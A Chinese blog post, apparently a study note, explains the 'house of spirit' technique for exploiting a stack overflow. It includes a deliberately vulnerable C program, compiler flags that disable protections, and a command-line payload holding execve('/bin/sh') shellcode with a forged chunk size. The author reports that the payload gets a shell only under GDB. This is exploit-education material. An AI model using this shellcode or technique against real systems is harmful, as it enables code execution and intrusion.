【溢出利用技巧】house of spirit friendly stack overflow
学习了一下L-CTF中介绍的一个栈溢出利用技巧,记录一下。
样例代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
/* * blackngel's vulnerable program slightly modified by gb_master
*/
#include <stdio.h> #include <string.h> #include <stdlib.h> void fvuln( char *str1, int age)
{ char *ptr1, name[32];
int local_age;
char *ptr2;
local_age = age;
ptr1 = ( char *) malloc (256);
printf ( "\nPTR1 = [ %p ]" , ptr1);
strcpy (name, str1);
printf ( "\nPTR1 = [ %p ]\n" , ptr1);
free (ptr1);
ptr2 = ( char *) malloc (40);
snprintf(ptr2, 40-1, "%s is %d years old" , name, local_age);
printf ( "\n%s\n" , ptr2);
} int main( int argc, char *argv[])
{ int pad[10] = {0, 0, 0, 0, 0, 0, 0, 10, 0, 0};
if (argc == 3)
fvuln(argv[1], atoi (argv[2]));
return 0;
} |
编译命令如下:
1
|
gcc hos.c -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -mno-accumulate-outgoing-args -z execstack -o hos |
Ubuntu 14 Server里编译需要安装一下开发包,否则会报错sys/cdefs.h文件找不到:
1
|
sudo apt-get install libc6-dev-i386
|
这里关键思路是:通过溢出修改局部变量的地址为栈中的一个地址,将伪造地址中的size字段设置成一个fastbin的有效大小,以便能成功将其free,后面的malloc将把此块内存重新申请并使用,snprintf函数再向其中写入数据,从而可以覆盖函数返回地址,最终getshell。
局部变量的内存分布如下:
1
2
3
4
|
0xffffd03c name 0xffffd05c ptr2 0xffffd060 ptr1 0xffffd064 local_age |
样例测试命令如下:
1
|
. /hos `python -c 'import sys; sys.stdout.write("\x31\xc0\xeb\x14\x44\xd0\xff\xff\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80\x90" + "\x01\x01\x01\x68\xd0\xFF\xFF" + "\x30")' ` 48
|
这里有点问题,通过GDB调试可以getshell,直接执行则报段错误:
本文转自fatshi51CTO博客,原文链接:http://blog.51cto.com/duallay/1859677 ,如需转载请自行联系原作者